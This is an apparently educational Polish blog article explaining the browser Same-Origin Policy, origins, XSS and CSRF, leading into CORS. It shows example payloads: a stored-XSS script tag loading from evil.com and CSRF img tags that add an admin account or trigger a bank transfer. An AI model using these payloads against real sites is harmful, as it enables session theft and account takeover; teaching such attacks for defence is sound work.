Aby zrozumieć, czym jest i jak działa CORS (Cross-Site Resource Sharing) powinniśmy w pierwszej kolejności poznać politykę SOP (Same-Origin Policy). W tym artykule dogłębnie wyjaśniamy czym jest polityka SOP i jak wpływa na bezpieczeństwo klientów przeglądarek.
Z tego artykułu dowiesz się
- Czym jest Same-Origin Policy (SOP).
- Czym jest Origin.
- Jak działa atak typu XSS.
- Jak działa atak typu CSRF.
- Jakie są ograniczenia Same-Origin Policy.
- Jak przeglądarka, wykorzystując politykę SOP dba o bezpieczeństwo użytkowników.
- Jak ważna jest polityka bezpieczeństwa SOP dla użytkowników sieci WWW.
Kilka słów o Same-Origin Policy
Czy zdarzyło Ci się kiedyś otrzymać taki błąd?
Uncaught DOMException: Blocked a frame with origin xxx from accessing a cross-origin frame.
W konsoli Chrome, błąd może wyglądać następująco:
Przeglądarka nie zezwoliła na dostęp do struktury DOM z innej karty. Dzieje się to za sprawą wprowadzonej polityki SOP. Wyjaśnimy, z czym to się je …
Same-Origin Policy jest podstawowym mechanizmem obrony nowoczesnych przeglądarek, które określają jakie dokumenty i skrypty z jednego „origin” mogą wchodzić w interakcję z zasobami z innego „origin„. Przeglądarka może ładować i wyświetlać zasoby z wielu witryn jednocześnie. Strona może osadzać wiele ramek iframe z różnych witryn. Jeśli nie ma żadnych ograniczeń interakcji pomiędzy tymi zasobami, atakujący może skompromitować naszą stronę. Zasady same-origin (tego samego pochodzenia) zapobiegają takim sytuacją, blokując dostęp od odczytu zasobów ładowanych z innego źródła.
Reguła SOP uniemożliwia dwóm osobnym kontekstom JavaScript modyfikacji swoich drzew DOM. Dzięki temu storna atakującego http://hacker.com nie może modyfikować struktury DOM strony banku http://bank.com, w sytuacji kiedy te dwie strony są otwarte w kartach przeglądarki. Reguła Same-Origin Policy, mówi, że dwa konteksty mogą modyfikować DOM tylko wtedy, kiedy oba mają takie samo pochodzenie tzw „origin„
Definicja „origin”
Koncepcja origin jest bardzo ważna. Właściwie to w świecie WWW jednoznacznie definiuje on pojedynczą aplikację. Origin jest definiowany przez schemę (również zwaną jako protokół, np. HTTP czy HTTPS), port (jeśli jest określony) oraz host. Gdy wszystkie trzy elementy naszego origin są takie same, uważamy, że są one tego samego pochodzenia.
Poniższa tabela prezentuje porównanie URL A do URL B w celu określenia czy mamy do czynienia z tym samym origin.
Czym jest Same-Origin Policy (SOP)?
W wielkim skrócie (i w idealnej wersji, o czym za chwilę) SOP powoduje, że dwie aplikacje charakteryzujące się różnymi originami (więc dwie różne aplikacje) nie mogą używać swoich wzajemnych elementów (ściąganie, osadzanie czy odpytywanie). Same-Origin Policy (czyli reguła tego samego pochodzenia) jest istotnym mechanizmem bezpieczeństwa, zapewnianego przez przeglądarki (nowoczesne przeglądarki wspierają SOP). Reguły SOP określają jak dokument lub skrypt jednego pochodzenia (origin) może komunikować się z zasobami z innego pochodzenia. Dzięki temu jesteśmy w stanie odizolować potencjalnie szkodliwe dokumenty i tym samym redukujemy czynniki sprzyjające atakom na nasze web aplikacje. Niestosowanie się do polityki SOP może mieć swoje skutki w bezpieczeństwie aplikacji. Rozważmy dwa popularne ataki…
Atak typu XSS
Słowem wstępu, powiedzmy sobie czym jest atak typu XSS (Cross-site scripting). Otóż jest to sposób ataku na serwis WWW polegający na osadzeniu w treści kodu atakowanej strony zazwyczaj kodu JavaScript, który pobrany przez przeglądarkę, może w tle wykonywać niepożądane akcje, takie jak:
- kradzież ciasteczek,
- załadowanie innego złośliwego skryptu,
- próby przechwycenia tajnych danych,
- dynamiczna podmiana zawartości strony (słynne „This site has been hacked by…”),
- uruchomienie keyloggera w przeglądarce,
- hostowanie malware z wykorzystaniem skorumpowanej aplikcaji (np. po przez użycie iframe)
Atak XSS jest podzielony na trzy główne kategorie:
- Reflected XSS – polega na spreparowaniu adresu URL w taki sposób, aby w tle wykonał się np. skrypt JavaScript. Spreparowany link jest wysyłany ofierze. Po otwarciu linka złośliwy kod jest ładowany do przeglądarki klienta.
- Stored XSS – atak ma miejsce, gdy złośliwy skrypt jest osadzony na serwerze na stałe. Jest to najbardziej złowroga odmiana ataku XSS. Przykładowo, atakujący umieszcza złośliwy skrypt JavaScript w komentarzu pod postem, komentarz jest automatycznie wysyłany do moderacji. Kiedy moderator odczytuje komentarz, automatycznie uruchamiany jest złośliwy skrypt, który może np. wykraść cookie sesyjne administratora. W tym momencie atakujący ma dostęp do zalogowanej sesji admina bez znajomości loginu i hasła!
- DOM based XSS – rzadziej spotykana metoda, opisana tutaj
Jedną z metod ataku może być umieszczenie złośliwego skryptu JavaScript w komentarzu (lub dowolnym polem input na stronie, jeśli podatność występuje), a następnie przesłanie formularza do serwera. Serwer zapisuje komentarz w bazie danych. Następnie, podczas gdy przeglądarka innego użytkownika pobiera zawartość strony do wyświetlenia, może wykonać złośliwy kod JavaScript,
<script src="http://evil.com/xss.js"></script>
Gdyby polityka SOP byłaby rygorystycznie egzekwowana przez przeglądarkę, nie byłoby możliwe zamieszczenie skryptu z innego originu.
Atak typu CSRF
CSRF (Cross-Site Request Forgery) często mylony jest z atakiem typu XSS. W ataku typu CSRF zmuszamy przeglądarkę ofiary do wykonania nieautoryzowanej akcji (requestu HTTP). Warto dodać, że jest to atak na przeglądarkę internetową, a nie na aplikację serwerową. Dla serwera requesty powstałe w wyniku ataku – to w pełni legalna komunikacja client-server pomiędzy przeglądarką użytkownika a serwerem. Na poniższym zdjęciu prezentujemy przykład wykorzystania ataku CSRF.
Całość odbywa się w kilku krokach:
- Atakujący rejestruje nowe konto użytkownika, podając jako login tag: Ania<img src=„https://site.com/admin/addUser?login=ania&pass=1234&type=admin”/> (tag img to tylko przykład, są inne możliwości).
- Administrator, po zalogowaniu, wchodzi na stronę z akceptowaniem kont użytkowników.
- Przeglądarka, podczas próby pobrania obrazu z tagu <img>, automatycznie realizuje request dodania użytkownika z uprawnieniami admina (CSRF) i tym samym atakujący posiada konto admina bez znajomości hasła czy loginu admina.
- Aby atakujący mógł się zalogować, wystarczy, że jeszcze raz wykorzysta atak CSRF do wykonania requestu usuwającego blokadę na IP użytkownika (albo dodającego IP atakującego, lub jego proxy do białej listy IP)
Wnioski:
- Pomimo braku adresu IP na białej liście atak zadziałał.
- Nie został wykorzystany żaden JavaScript
- Atakujący nie zna loginu ani hasła administratora
- W logach serwera WWW jako adres IP requestu widoczny jest IP administratora (nie ma śladu)
Równie dobrze (oczywiście w bardzo dużym uproszczeniu – przelewów nie robi się metodami GET:) Atakujący preparuje stronę, na której umieszcza skrypt:
<img src=„https://bank.com/transfer?from=X&to=X&amount=X
Ofiara po wejściu na stronę nie wie, że przeglądarka natychmiast wyśle powyższe zapytanie w jego imieniu (do zapytania będą załączone dane uwierzytelniające ofiary – np. ciasteczko sesyjne). Ponownie, gdyby polityka SOP była sztywno egzekwowana przez przeglądarkę, atak ten by się nie udał (zapytanie do originu banku z originu strony atakującego zostałoby zablokowane)
Ograniczenia SOP
Z drugiej strony, gdyby przeglądarka podchodziła do SOP bardzo rygorystycznie, nie byłoby możliwe:
- Umieszczenie na stronie z originem A obrazów, skryptów czy arkuszy CSS z originu B (wszystkie usługi typu CDN przestałyby działać)
- Wywoływanie zapytań HTTP z originu A do originu B ( a więc element <form> nie zostałby wysłany pod inny adres)
- Odczytywanie i zapisywanie ciasteczek originu A, będąc na stronie innego originu B
Dla tego właśnie Same-Origin Policy zapobiega interakcji pomiędzy różnymi źródłami poprzez takie żądania, jak AJAX. Jednak ładowanie zasobów z innych hostów, takich jak obrazy, skrypty (CDN), arkusze stylów, ramki iframe czy przesyłanie formularzy – nie podlega tym ograniczeniom. Potrzebujemy kolejnego poziomu ochrony, używając tokentów CSRF
Jak więc widzisz drogi czytelniku, polityka Same-Origin jest stosowana dosyć wybiórczo – a to za sprawą dość późnego sprowadzenia SOP przez przeglądarki (ok 30 lat po wprowadzeniu WWW – konieczne było zachowanie wstecznej kompatybilności). Nie ma ograniczeń w zamieszczeniu obrazków z innych originów czy wysyłaniu formularzy (w tym automatycznych!) – a co za tym idzie – możliwość wykonywania zapytań GET i POST. Nie ma też ograniczeń co do zamieszczania skryptów JavaScript z innych originów (choć skrypty są już częściowo izolowane – nie można wczytać kodu źródłowego skryptu z innego originu). Ciasteczka w pewnym sensie podlegają polityce SOP – nie można na originie https://facebook.com ustawić ciastka dla https://softwareskill.pl (z pewnymi wyjątkami, np. można ustawić ciasteczko dla domeny, której jest się subdomeną, czyli ciastko ustawione na https://news.softwareskill.pl dla originu https://softwareskill.pl
Nowe technologie, powstałe po ustabilizowaniu się polityki SOP, były już tworzone z uwzględnieniem Same-Orign Policy. Przykładem takiej technologi jest XHR (XMLHttpRequest), nazywany inaczej AJAX. Zapytania XHR podlegają polityce SOP, więc spotykają się z licznymi ograniczeniami, które zabezpieczają klientów przed potencjalnie szkodliwymi operacjami. Do tych ograniczeń należą m.in.
- Brak możliwości odczytu zwróconych danych.
- Ograniczenie możliwości ustawiania dowolnych nagłówków.
- Częściowa kontrola nad typem danych wysyłanych po POST (nagłówek Content-Type)
Dlaczego Same-Origin Policy jest taka ważna?
Wyobraźmy sobie taką sytuację, kiedy mamy RestAPI i metodę GET zwracające wrażliwe dane. Zwabiamy ofiarę na skorumpowaną stronę, która w jej imieniu wykonuje zapytanie GET (atak CSRF). Chcielibyśmy te dane przesłać teraz do atakującego. Zastanówmy się, jak to zrobić? Standardowe tagi <img> wykonają zapytanie, ale nie dadzą nam dostępu do danych zwróconych przez RestAPI. Jedyną opcją jest XHR, umożliwiający odczyt danych z RestAPI i ponowną wysyłkę do innego API. Jednak dzięki polityce SOP, XHR na niewiele się zda – odmówi przekazania danych pomiędzy różnymi originami. Same-Origin Policy izoluje strony pomiędzy sobą, bezapelacyjnie zwiększa bezpieczeństwo użytkownika przeglądarki ( jest włączone domyślnie w nowoczesnych przeglądarkach).
Zakończenie
SOP uniemożliwia wysyłanie żądań do innych domen. Innymi słowy, przeglądarka nie pozwoli żadnej witrynie na wysyłanie żądania do żadnej innej witryny. Zapobiega to interakcji pomiędzy różnymi źródłami poprzez takie żądania, jak AJAX. Jednak ładowanie zasobów z innych hostów, takich jak obrazy, skrypty (CDN), arkusze stylów, ramki iframe czy przesyłanie formularzy – nie podlega tym ograniczeniom (potrzebujemy kolejnego poziomu ochrony, używając tokentów CSRF). Czasami bywają sytuację kiedy chcielibyśmy poluzować politykę bezpieczeństwa SOP. Służy temu kilka technik – jedną z nich (a zarazem najpopularniejszą) jest CORS (Cross Origin Resource Sharing). Ustawienie CORS po stronie serwera, pozwoli na wysłanie żądania do serwera za pośrednictwem XMLHttpRequest, nawet jeśli żądanie zostało wysłane z innego origin. Staje się to przydatne, jeśli serwer miałby obsługiwać żądania z innych domen (np. Jeśli udostępniasz interfejs API). Mechanizm CORS, zapewnia możliwość bezpiecznej wymiany danych pomiędzy stronami, które charakteryzuje inny origin.
Zapraszam również do przeczytania artykułu o CORS. Jeśli spodobał Ci się artykuł – podziel się nim ze swoimi znajomymi oraz koniecznie zapisz się do naszego newslettera – tak aby nie ominął Cię żaden mięsny artykuł 🙂
Gdybyś potrzebował jeszcze więcej:
Jesteś Java Developerem?
Przejdź na wyższy poziom wiedzy
„Droga do Seniora” 🔥💪
Jesteś Team Leaderem? Masz zespół?
Podnieś efektywność i wiedzę swojego zespołu 👌
Szybkie podsumowanie
Same-Origin Policy (czyli reguła tego samego pochodzenia) jest istotnym mechanizmem bezpieczeństwa, zapewnianego przez przeglądarki (nowoczesne przeglądarki wspierają SOP). Reguły SOP określają jak dokument lub skrypt jednego pochodzenia (origin) może komunikować się z zasobami z innego pochodzenia.
Origin jednoznacznie definiuje on pojedynczą aplikację internetową. Origin jest definiowany przez schemę (również zwaną jako protokół, np. HTTP czy HTTPS), port (jeśli jest określony) oraz host.